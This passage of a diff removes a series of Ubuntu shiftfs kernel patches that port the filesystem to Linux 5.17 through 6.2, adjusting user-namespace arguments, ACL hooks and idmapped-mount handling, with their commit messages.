- 		     *loweri_dir_new = lowerd_dir_new->d_inode;
-+	struct renamedata rd = {
-+		.old_mnt_userns	= ns,
-+		.old_dir	= loweri_dir_old,
-+		.old_dentry	= lowerd_old,
-+		.new_mnt_userns	= ns,
-+		.new_dir	= loweri_dir_new,
-+		.new_dentry	= lowerd_new,
-+	};
- 	int err = -EINVAL;
- 	const struct cred *oldcred;
- 
-@@ -634,8 +649,7 @@ static int shiftfs_rename(struct inode *olddir, struct dentry *old,
- 		goto out_unlock;
- 
- 	oldcred = shiftfs_override_creds(old->d_sb);
--	err = vfs_rename(loweri_dir_old, lowerd_old, loweri_dir_new, lowerd_new,
--			 NULL, flags);
-+	err = vfs_rename(&rd);
- 	revert_creds(oldcred);
- 
- 	shiftfs_copyattr(loweri_dir_old, olddir);
-@@ -691,7 +705,7 @@ static struct dentry *shiftfs_lookup(struct inode *dir, struct dentry *dentry,
- 	return d_splice_alias(inode, dentry);
- }
- 
--static int shiftfs_permission(struct inode *inode, int mask)
-+static int shiftfs_permission(struct user_namespace *ns, struct inode *inode, int mask)
- {
- 	int err;
- 	const struct cred *oldcred;
-@@ -702,12 +716,12 @@ static int shiftfs_permission(struct inode *inode, int mask)
- 		return -ECHILD;
- 	}
- 
--	err = generic_permission(inode, mask);
-+	err = generic_permission(ns, inode, mask);
- 	if (err)
- 		return err;
- 
- 	oldcred = shiftfs_override_creds(inode->i_sb);
--	err = inode_permission(loweri, mask);
-+	err = inode_permission(ns, loweri, mask);
- 	revert_creds(oldcred);
- 
- 	return err;
-@@ -733,7 +747,8 @@ static int shiftfs_fiemap(struct inode *inode,
- 	return err;
- }
- 
--static int shiftfs_tmpfile(struct inode *dir, struct dentry *dentry,
-+static int shiftfs_tmpfile(struct user_namespace *ns,
-+			   struct inode *dir, struct dentry *dentry,
- 			   umode_t mode)
- {
- 	int err;
-@@ -745,13 +760,13 @@ static int shiftfs_tmpfile(struct inode *dir, struct dentry *dentry,
- 		return -EOPNOTSUPP;
- 
- 	oldcred = shiftfs_override_creds(dir->i_sb);
--	err = loweri->i_op->tmpfile(loweri, lowerd, mode);
-+	err = loweri->i_op->tmpfile(ns, loweri, lowerd, mode);
- 	revert_creds(oldcred);
- 
- 	return err;
- }
- 
--static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
-+static int shiftfs_setattr(struct user_namespace *ns, struct dentry *dentry, struct iattr *attr)
- {
- 	struct dentry *lowerd = dentry->d_fsdata;
- 	struct inode *loweri = lowerd->d_inode;
-@@ -761,7 +776,7 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
- 	struct shiftfs_super_info *sbinfo = sb->s_fs_info;
- 	int err;
- 
--	err = setattr_prepare(dentry, attr);
-+	err = setattr_prepare(ns, dentry, attr);
- 	if (err)
- 		return err;
- 
-@@ -778,7 +793,7 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
- 
- 	inode_lock(loweri);
- 	oldcred = shiftfs_override_creds(dentry->d_sb);
--	err = notify_change(lowerd, &newattr, NULL);
-+	err = notify_change(ns, lowerd, &newattr, NULL);
- 	revert_creds(oldcred);
- 	inode_unlock(loweri);
- 
-@@ -787,7 +802,8 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
- 	return err;
- }
- 
--static int shiftfs_getattr(const struct path *path, struct kstat *stat,
-+static int shiftfs_getattr(struct user_namespace *ns,
-+			   const struct path *path, struct kstat *stat,
- 			   u32 request_mask, unsigned int query_flags)
- {
- 	struct inode *inode = path->dentry->d_inode;
-@@ -870,9 +886,9 @@ shift_acl_xattr_ids(struct user_namespace *from, struct user_namespace *to,
- 			entry->e_id = cpu_to_le32(from_kuid(&init_user_ns, kuid));
- 			break;
- 		case ACL_GROUP:
--			kgid = make_kgid(&init_user_ns, le32_to_cpu(entry->e_id));
-+			kgid = make_kgid(from, le32_to_cpu(entry->e_id));
- 			kgid = shift_kgid(from, to, kgid);
--			entry->e_id = cpu_to_le32(from_kgid(&init_user_ns, kgid));
-+			entry->e_id = cpu_to_le32(from_kgid(from, kgid));
- 			break;
- 		default:
- 			break;
-@@ -880,7 +896,8 @@ shift_acl_xattr_ids(struct user_namespace *from, struct user_namespace *to,
- 	}
- }
- 
--static struct posix_acl *shiftfs_get_acl(struct inode *inode, int type)
-+static struct posix_acl *
-+shiftfs_get_acl(struct inode *inode, int type, bool rcu)
- {
- 	struct inode *loweri = inode->i_private;
- 	const struct cred *oldcred;
-@@ -890,6 +907,9 @@ static struct posix_acl *shiftfs_get_acl(struct inode *inode, int type)
- 	int size;
- 	int err;
- 
-+	if (rcu)
-+		return ERR_PTR(-ECHILD);
-+
- 	if (!IS_POSIXACL(loweri))
- 		return NULL;
- 
-@@ -941,6 +961,7 @@ shiftfs_posix_acl_xattr_get(const struct xattr_handler *handler,
- 
- static int
- shiftfs_posix_acl_xattr_set(const struct xattr_handler *handler,
-+			    struct user_namespace *ns,
- 			    struct dentry *dentry, struct inode *inode,
- 			    const char *name, const void *value,
- 			    size_t size, int flags)
-@@ -952,17 +973,17 @@ shiftfs_posix_acl_xattr_set(const struct xattr_handler *handler,
- 		return -EOPNOTSUPP;
- 	if (handler->flags == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode))
- 		return value ? -EACCES : 0;
--	if (!inode_owner_or_capable(inode))
-+	if (!inode_owner_or_capable(ns, inode))
- 		return -EPERM;
- 
- 	if (value) {
- 		shift_acl_xattr_ids(inode->i_sb->s_user_ns,
- 				    loweri->i_sb->s_user_ns,
- 				    (void *)value, size);
--		err = shiftfs_setxattr(dentry, inode, handler->name, value,
-+		err = shiftfs_setxattr(ns, dentry, inode, handler->name, value,
- 				       size, flags);
- 	} else {
--		err = shiftfs_removexattr(dentry, handler->name);
-+		err = shiftfs_removexattr(ns, dentry, handler->name);
- 	}
- 
- 	if (!err)
--- 
-2.39.2
-
-From df4546ab77323af5bd40996244af7ade6c99054b Mon Sep 17 00:00:00 2001
-From: Andrea Righi <andrea.righi@×××××××××.com>
-Date: Wed, 13 Apr 2022 15:26:22 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: always rely on init_user_ns
-Cc: mpagano@g.o
-
-With the porting of shiftfs from 5.15 to 5.17 some filesystem-related
-functions are now passing struct user_namespace as argument, however
-shiftfs logic is still relying on the fact that these functions need to
-use the main filesystem namespace.
-
-Make sure to always use init_user_ns to prevent breakage of system
-components that rely on shiftfs.
-
-Without this fix lxd was showing some issues, like failing to create any
-file inside a container when shiftfs was used (e.g., using zfs as
-storage pool).
-
-Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 50 ++++++++++++++++++++++++--------------------------
- 1 file changed, 24 insertions(+), 26 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 76c54bc12018..a21624c529f0 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -308,8 +308,7 @@ static const char *shiftfs_get_link(struct dentry *dentry, struct inode *inode,
- 	return p;
- }
- 
--static int shiftfs_setxattr(struct user_namespace *ns,
--			    struct dentry *dentry, struct inode *inode,
-+static int shiftfs_setxattr(struct dentry *dentry, struct inode *inode,
- 			    const char *name, const void *value,
- 			    size_t size, int flags)
- {
-@@ -318,7 +317,7 @@ static int shiftfs_setxattr(struct user_namespace *ns,
- 	const struct cred *oldcred;
- 
- 	oldcred = shiftfs_override_creds(dentry->d_sb);
--	err = vfs_setxattr(ns, lowerd, name, value, size, flags);
-+	err = vfs_setxattr(&init_user_ns, lowerd, name, value, size, flags);
- 	revert_creds(oldcred);
- 
- 	shiftfs_copyattr(lowerd->d_inode, inode);
-@@ -363,7 +362,7 @@ static int shiftfs_removexattr(struct user_namespace *ns,
- 	const struct cred *oldcred;
- 
- 	oldcred = shiftfs_override_creds(dentry->d_sb);
--	err = vfs_removexattr(ns, lowerd, name);
-+	err = vfs_removexattr(&init_user_ns, lowerd, name);
- 	revert_creds(oldcred);
- 
- 	/* update c/mtime */
-@@ -379,8 +378,8 @@ static int shiftfs_xattr_set(const struct xattr_handler *handler,
- 			     int flags)
- {
- 	if (!value)
--		return shiftfs_removexattr(ns, dentry, name);
--	return shiftfs_setxattr(ns, dentry, inode, name, value, size, flags);
-+		return shiftfs_removexattr(&init_user_ns, dentry, name);
-+	return shiftfs_setxattr(dentry, inode, name, value, size, flags);
- }
- 
- static int shiftfs_inode_test(struct inode *inode, void *data)
-@@ -394,8 +393,7 @@ static int shiftfs_inode_set(struct inode *inode, void *data)
- 	return 0;
- }
- 
--static int shiftfs_create_object(struct user_namespace *ns,
--				 struct inode *diri, struct dentry *dentry,
-+static int shiftfs_create_object(struct inode *diri, struct dentry *dentry,
- 				 umode_t mode, const char *symlink,
- 				 struct dentry *hardlink, bool excl)
- {
-@@ -457,7 +455,7 @@ static int shiftfs_create_object(struct user_namespace *ns,
- 		inode->i_state |= I_CREATING;
- 		spin_unlock(&inode->i_lock);
- 
--		inode_init_owner(ns, inode, diri, mode);
-+		inode_init_owner(&init_user_ns, inode, diri, mode);
- 		modei = inode->i_mode;
- 	}
- 
-@@ -468,22 +466,22 @@ static int shiftfs_create_object(struct user_namespace *ns,
- 
- 	if (hardlink) {
- 		lowerd_link = hardlink->d_fsdata;
--		err = vfs_link(lowerd_link, ns, loweri_dir, lowerd_new, NULL);
-+		err = vfs_link(lowerd_link, &init_user_ns, loweri_dir, lowerd_new, NULL);
- 	} else {
- 		switch (modei & S_IFMT) {
- 		case S_IFDIR:
--			err = vfs_mkdir(ns, loweri_dir, lowerd_new, modei);
-+			err = vfs_mkdir(&init_user_ns, loweri_dir, lowerd_new, modei);
- 			break;
- 		case S_IFREG:
--			err = vfs_create(ns, loweri_dir, lowerd_new, modei, excl);
-+			err = vfs_create(&init_user_ns, loweri_dir, lowerd_new, modei, excl);
- 			break;
- 		case S_IFLNK:
--			err = vfs_symlink(ns, loweri_dir, lowerd_new, symlink);
-+			err = vfs_symlink(&init_user_ns, loweri_dir, lowerd_new, symlink);
- 			break;
- 		case S_IFSOCK:
- 			/* fall through */
- 		case S_IFIFO:
--			err = vfs_mknod(ns, loweri_dir, lowerd_new, modei, 0);
-+			err = vfs_mknod(&init_user_ns, loweri_dir, lowerd_new, modei, 0);
- 			break;
- 		default:
- 			err = -EINVAL;
-@@ -545,7 +543,7 @@ static int shiftfs_create(struct user_namespace *ns,
- {
- 	mode |= S_IFREG;
- 
--	return shiftfs_create_object(ns, dir, dentry, mode, NULL, NULL, excl);
-+	return shiftfs_create_object(dir, dentry, mode, NULL, NULL, excl);
- }
- 
- static int shiftfs_mkdir(struct user_namespace *ns, struct inode *dir, struct dentry *dentry,
-@@ -553,13 +551,13 @@ static int shiftfs_mkdir(struct user_namespace *ns, struct inode *dir, struct de
- {
- 	mode |= S_IFDIR;
- 
--	return shiftfs_create_object(ns, dir, dentry, mode, NULL, NULL, false);
-+	return shiftfs_create_object(dir, dentry, mode, NULL, NULL, false);
- }
- 
- static int shiftfs_link(struct dentry *hardlink, struct inode *dir,
- 			struct dentry *dentry)
- {
--	return shiftfs_create_object(&init_user_ns, dir, dentry, 0, NULL, hardlink, false);
-+	return shiftfs_create_object(dir, dentry, 0, NULL, hardlink, false);
- }
- 
- static int shiftfs_mknod(struct user_namespace *ns,
-@@ -569,13 +567,13 @@ static int shiftfs_mknod(struct user_namespace *ns,
- 	if (!S_ISFIFO(mode) && !S_ISSOCK(mode))
- 		return -EPERM;
- 
--	return shiftfs_create_object(ns, dir, dentry, mode, NULL, NULL, false);
-+	return shiftfs_create_object(dir, dentry, mode, NULL, NULL, false);
- }
- 
- static int shiftfs_symlink(struct user_namespace *ns, struct inode *dir, struct dentry *dentry,
- 			   const char *symlink)
- {
--	return shiftfs_create_object(ns, dir, dentry, S_IFLNK, symlink, NULL, false);
-+	return shiftfs_create_object(dir, dentry, S_IFLNK, symlink, NULL, false);
- }
- 
- static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir)
-@@ -716,12 +714,12 @@ static int shiftfs_permission(struct user_namespace *ns, struct inode *inode, in
- 		return -ECHILD;
- 	}
- 
--	err = generic_permission(ns, inode, mask);
-+	err = generic_permission(&init_user_ns, inode, mask);
- 	if (err)
- 		return err;
- 
- 	oldcred = shiftfs_override_creds(inode->i_sb);
--	err = inode_permission(ns, loweri, mask);
-+	err = inode_permission(&init_user_ns, loweri, mask);
- 	revert_creds(oldcred);
- 
- 	return err;
-@@ -760,7 +758,7 @@ static int shiftfs_tmpfile(struct user_namespace *ns,
- 		return -EOPNOTSUPP;
- 
- 	oldcred = shiftfs_override_creds(dir->i_sb);
--	err = loweri->i_op->tmpfile(ns, loweri, lowerd, mode);
-+	err = loweri->i_op->tmpfile(&init_user_ns, loweri, lowerd, mode);
- 	revert_creds(oldcred);
- 
- 	return err;
-@@ -776,7 +774,7 @@ static int shiftfs_setattr(struct user_namespace *ns, struct dentry *dentry, str
- 	struct shiftfs_super_info *sbinfo = sb->s_fs_info;
- 	int err;
- 
--	err = setattr_prepare(ns, dentry, attr);
-+	err = setattr_prepare(&init_user_ns, dentry, attr);
- 	if (err)
- 		return err;
- 
-@@ -793,7 +791,7 @@ static int shiftfs_setattr(struct user_namespace *ns, struct dentry *dentry, str
- 
- 	inode_lock(loweri);
- 	oldcred = shiftfs_override_creds(dentry->d_sb);
--	err = notify_change(ns, lowerd, &newattr, NULL);
-+	err = notify_change(&init_user_ns, lowerd, &newattr, NULL);
- 	revert_creds(oldcred);
- 	inode_unlock(loweri);
- 
-@@ -980,10 +978,10 @@ shiftfs_posix_acl_xattr_set(const struct xattr_handler *handler,
- 		shift_acl_xattr_ids(inode->i_sb->s_user_ns,
- 				    loweri->i_sb->s_user_ns,
- 				    (void *)value, size);
--		err = shiftfs_setxattr(ns, dentry, inode, handler->name, value,
-+		err = shiftfs_setxattr(dentry, inode, handler->name, value,
- 				       size, flags);
- 	} else {
--		err = shiftfs_removexattr(ns, dentry, handler->name);
-+		err = shiftfs_removexattr(&init_user_ns, dentry, handler->name);
- 	}
- 
- 	if (!err)
--- 
-2.39.2
-
-From 3d0ac0887b4a57d883d194a6836501fa77aaf6e3 Mon Sep 17 00:00:00 2001
-From: Andrea Righi <andrea.righi@×××××××××.com>
-Date: Wed, 27 Apr 2022 18:20:41 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: fix missing include required in 5.18
-Cc: mpagano@g.o
-
-Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index a21624c529f0..a5338dc6290c 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -21,6 +21,7 @@
- #include <linux/posix_acl_xattr.h>
- #include <linux/uio.h>
- #include <linux/fiemap.h>
-+#include <linux/pagemap.h>
- 
- struct shiftfs_super_info {
- 	struct vfsmount *mnt;
--- 
-2.39.2
-
-From 6cbfd564842eeb9adb495a3de704d125418825f9 Mon Sep 17 00:00:00 2001
-From: Andrea Righi <andrea.righi@×××××××××.com>
-Date: Tue, 18 Oct 2022 17:09:12 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: support kernel 6.1
-Cc: mpagano@g.o
-
-Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 5 ++---
- 1 file changed, 2 insertions(+), 3 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index a5338dc6290c..34f080ae0fec 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -747,19 +747,18 @@ static int shiftfs_fiemap(struct inode *inode,
- }
- 
- static int shiftfs_tmpfile(struct user_namespace *ns,
--			   struct inode *dir, struct dentry *dentry,
-+			   struct inode *dir, struct file *file,
- 			   umode_t mode)
- {
- 	int err;
- 	const struct cred *oldcred;
--	struct dentry *lowerd = dentry->d_fsdata;
- 	struct inode *loweri = dir->i_private;
- 
- 	if (!loweri->i_op->tmpfile)
- 		return -EOPNOTSUPP;
- 
- 	oldcred = shiftfs_override_creds(dir->i_sb);
--	err = loweri->i_op->tmpfile(&init_user_ns, loweri, lowerd, mode);
-+	err = loweri->i_op->tmpfile(&init_user_ns, loweri, file, mode);
- 	revert_creds(oldcred);
- 
- 	return err;
--- 
-2.39.2
-
-From a04c96a9da98441b39fd8425d19d2ae6d92c0bf9 Mon Sep 17 00:00:00 2001
-From: Andrea Righi <andrea.righi@×××××××××.com>
-Date: Wed, 4 Jan 2023 10:25:30 +0100
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: support linux 6.2
-Cc: mpagano@g.o
-
-Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 34f080ae0fec..cda74b614505 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -912,7 +912,7 @@ shiftfs_get_acl(struct inode *inode, int type, bool rcu)
- 		return NULL;
- 
- 	oldcred = shiftfs_override_creds(inode->i_sb);
--	lower_acl = get_acl(loweri, type);
-+	lower_acl = get_inode_acl(loweri, type);
- 	revert_creds(oldcred);
- 
- 	if (lower_acl && !IS_ERR(lower_acl)) {
-@@ -1026,13 +1026,13 @@ static const struct inode_operations shiftfs_dir_inode_operations = {
- 	.permission	= shiftfs_permission,
- 	.getattr	= shiftfs_getattr,
- 	.listxattr	= shiftfs_listxattr,
--	.get_acl	= shiftfs_get_acl,
-+	.get_inode_acl	= shiftfs_get_acl,
- };
- 
- static const struct inode_operations shiftfs_file_inode_operations = {
- 	.fiemap		= shiftfs_fiemap,
- 	.getattr	= shiftfs_getattr,
--	.get_acl	= shiftfs_get_acl,
-+	.get_inode_acl	= shiftfs_get_acl,
- 	.listxattr	= shiftfs_listxattr,
- 	.permission	= shiftfs_permission,
- 	.setattr	= shiftfs_setattr,
-@@ -1041,7 +1041,7 @@ static const struct inode_operations shiftfs_file_inode_operations = {
- 
- static const struct inode_operations shiftfs_special_inode_operations = {
- 	.getattr	= shiftfs_getattr,
--	.get_acl	= shiftfs_get_acl,
-+	.get_inode_acl	= shiftfs_get_acl,
- 	.listxattr	= shiftfs_listxattr,
- 	.permission	= shiftfs_permission,
- 	.setattr	= shiftfs_setattr,
--- 
-2.39.2
-
-From 63014ad24c3b175e503324461ded0a6a8ed12ab6 Mon Sep 17 00:00:00 2001
-From: Alexander Mikhalitsyn <aleksandr.mikhalitsyn@×××××××××.com>
-Date: Tue, 31 Jan 2023 17:11:48 +0100
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: fix -EOVERFLOW inside the container
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1990849
-
-We haven't supported idmapped layers with shiftfs and moreover, that makes
-no sense. Once lower fs support idmapped mounts when shiftfs is not needed.
-
-Starting from linux-image-5.15.0-48-generic users started seeing EOVERFLOW
-errors from the userspace side on a trivial fs operations inside the containers.
-
-This is caused by patches ("fs: tweak fsuidgid_has_mapping()"),
-("fs: support mapped mounts of mapped filesystems"). These patches extends
-and enables idmapped mounts support in Ubuntu kernel, but the problem is
-that shiftfs was not properly ported.
-
-See also:
-("namei: prepare for idmapped mounts")
-https://lore.kernel.org/all/20210121131959.646623-15-christian.brauner@××××××.com/
-("overlayfs: do not mount on top of idmapped mounts")
-https://lore.kernel.org/all/20210121131959.646623-29-christian.brauner@××××××.com/
-as a reference.
-
-This patch should be appied on top of kinetic/master-next and based on the
-changes by Andrea Righi 4c934edc66 ("UBUNTU: SAUCE: shiftfs: always rely on init_user_ns")
-
-This commit together with 4c934edc66 ("UBUNTU: SAUCE: shiftfs: always rely on init_user_ns")
-have to be ported to the jammy tree too.
-
-Fixes: d347e71d2c0 ("UBUNTU: [SAUCE] shiftfs: support kernel 5.15")
-Reported-by: Thomas Parrott <thomas.parrott@×××××××××.com>
-Signed-off-by: Alexander Mikhalitsyn <aleksandr.mikhalitsyn@×××××××××.com>
-Acked-by: Tim Gardner <tim.gardner@×××××××××.com>
-Acked-by: Andrea Righi <andrea.righi@×××××××××.com>
-Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 16 +++++++++++++---
- 1 file changed, 13 insertions(+), 3 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index cda74b614505..2664e1fb65d3 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -632,10 +632,10 @@ static int shiftfs_rename(struct user_namespace *ns,
- 	struct inode *loweri_dir_old = lowerd_dir_old->d_inode,
- 		     *loweri_dir_new = lowerd_dir_new->d_inode;
- 	struct renamedata rd = {
--		.old_mnt_userns	= ns,
-+		.old_mnt_userns	= &init_user_ns,
- 		.old_dir	= loweri_dir_old,
- 		.old_dentry	= lowerd_old,
--		.new_mnt_userns	= ns,
-+		.new_mnt_userns	= &init_user_ns,
- 		.new_dir	= loweri_dir_new,
- 		.new_dentry	= lowerd_new,
- 	};
-@@ -971,7 +971,7 @@ shiftfs_posix_acl_xattr_set(const struct xattr_handler *handler,
- 		return -EOPNOTSUPP;
- 	if (handler->flags == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode))
- 		return value ? -EACCES : 0;
--	if (!inode_owner_or_capable(ns, inode))
-+	if (!inode_owner_or_capable(&init_user_ns, inode))
- 		return -EPERM;
- 
- 	if (value) {
-@@ -2015,6 +2015,16 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
- 		goto out_put_path;
- 	}
- 
-+	/*
-+	 * It makes no sense to handle idmapped layers from shiftfs.
-+	 * And we didn't support it properly anyway.
-+	 */
-+	if (is_idmapped_mnt(path.mnt)) {
-+		err = -EINVAL;
-+		pr_err("idmapped layers are currently not supported\n");
-+		goto out_put_path;
-+	}
-+
- 	sb->s_flags |= SB_POSIXACL;
- 
- 	if (sbinfo->mark) {
--- 
-2.39.2
-